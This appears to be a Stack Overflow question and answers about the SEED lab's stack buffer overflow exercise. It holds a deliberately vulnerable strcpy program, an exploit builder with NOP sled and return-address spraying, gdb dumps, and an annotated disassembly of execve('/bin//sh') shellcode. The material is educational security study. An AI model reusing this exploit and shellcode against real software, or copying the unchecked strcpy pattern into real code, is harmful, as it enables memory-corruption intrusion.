-4

I was doing the SEED lab on buffer overflows which has the following vulnerable code:

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[24];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

I am trying to fill it with a 517 byte buffer which I put into badfile. The problem is I keep getting segmentation faults, even though the memory layout looks correct.

/* exploit.c */
void main(int argc, char **argv)
{
    char buffer[SIZE];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(buffer, 0x90, SIZE);

    /* You need to fill the buffer with appropriate contents here */ 

    int i;
    long* ptr = (long*) buffer;
    for(i = 0; i < 16; i++)
        *(ptr+i) = EBP+64;      // this is the jump spot

    memcpy(buffer+128, shellcode, sizeof(shellcode));   // copy the shellcode

    for(i = 128+sizeof(shellcode); i < SIZE; i++)
        *(buffer+i) = 0x0;      // end the string with nul characters

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, SIZE, 1, badfile);
    fclose(badfile);
}

The memory layout when running the vulnerable program is this:

(gdb) x/64x buffer
0xbffff0e8: 0xbffff148  0xbffff148  0xbffff148  0xbffff148
0xbffff0f8: 0xbffff148  0xbffff148  0xbffff148  0xbffff148
0xbffff108: 0xbffff148  0xbffff148  0xbffff148  0xbffff148
0xbffff118: 0xbffff148  0xbffff148  0xbffff148  0xbffff148
0xbffff128: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff138: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff148: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff158: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff168: 0x6850c031  0x68732f2f  0x69622f68  0x50e3896e
0xbffff178: 0x99e18953  0x80cd0bb0  0x90909000  0x90909090
0xbffff188: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff198: 0x90909090  0x90909090  0x90909090  0x31909090
0xbffff1a8: 0x2f6850c0  0x6868732f  0x6e69622f  0x5350e389
0xbffff1b8: 0xb099e189  0x0080cd0b  0x00000000  0x00000000
0xbffff1c8: 0x00000000  0x00000000  0x00000000  0x00000000
0xbffff1d8: 0x00000000  0x00000000  0x00000000  0x00000000
(gdb) x/2x $ebp
0xbffff108: 0xbffff148  0xbffff148
(gdb) x/x 0xbffff148
0xbffff148: 0x90909090

Yet when I run it, I get a segmentation fault. Why does this happen and why do the NOPs at the end of the overflowing buffer not get replaced by 0x0s?

UPDATE: The memory is part of stack.c after I enter bof and copy the string.

nanoman
  • 341
  • 4
  • 11

1 Answers1

1

Is that dump from running exploit.c or stack.c? The fact that there's a NUL byte in the dump at 0xbffff180 implies that this is exploit.c, because the strcpy in stack.c would have stopped copying at the NUL byte. If this is the case, then the value of $ebp in exploit.c is meaningless. You need to get the value that $ebp will be when it's in bof in stack.c. It is likely that $ebp has a different value when running in stack.c, which causes execution to jump to garbage.

Just for grins, I disassembled and annotated the shellcode, although the addresses are likely not correct when running in stack.c:

  0xbffff168:   31 c0                   xor    %eax,%eax    ; eax <- 0
  0xbffff16a:   50                      push   %eax         ; stack <- "\0\0\0"
  0xbffff16b:   68 2f 2f 73 68          push   $0x68732f2f  ; stack <- "//sh\0\0\0"
  0xbffff170:   68 2f 62 69 6e          push   $0x6e69622f  ; stack <- "/bin//sh\0\0\0"
  0xbffff175:   89 e3                   mov    %esp,%ebx    ; ebx = "/bin//sh\0\0\0" -- filename
  0xbffff177:   50                      push   %eax         ; stack <- 0
  0xbffff178:   53                      push   %ebx         ; stack <- "/bin//sh\0\0\0", 0
  0xbffff179:   89 e1                   mov    %esp,%ecx    ; ecx = {"/bin//sh\0\0\0", 0} -- argv
  0xbffff17b:   99                      cltd                ; edx <- 0 -- envp
  0xbffff17c:   b0 0b                   mov    $0xb,%al     ; al <- 0xb -- sys_execve
  0xbffff17e:   cd 80                   int    $0x80        ; sys call

The code is essentially doing:

char filename[] = "/bin//sh";
char *args[2];
args[0] = filename;
args[1] = NULL;
execve(filename, args, NULL);

Odd that there are 2 slashes in the filename. The NUL terminator could have been included in the first of the two pushed constants, eliminating the need for the first push %eax.

pat
  • 12,587
  • 1
  • 23
  • 52
  • Most shellcode needs to avoid having any its own bytes be `0`, because it usually needs to be copied by `strcpy` or similar as part of the buffer overflow, so it has to be a C implicit-length string. This means that they need to generate any `0` bytes instead of including them literally as parts of constants, e.g. with xor-zeroing, or with sign-extension of a `push imm8`. (Or in 64-bit code, from a `push imm32` – Peter Cordes Nov 23 '17 at 07:56
  • Anyway, that's why they pad `/bin/sh` out to `/bin//sh`, 8 bytes. – Peter Cordes Nov 23 '17 at 08:02
  • Ah, that makes sense – pat Nov 23 '17 at 08:09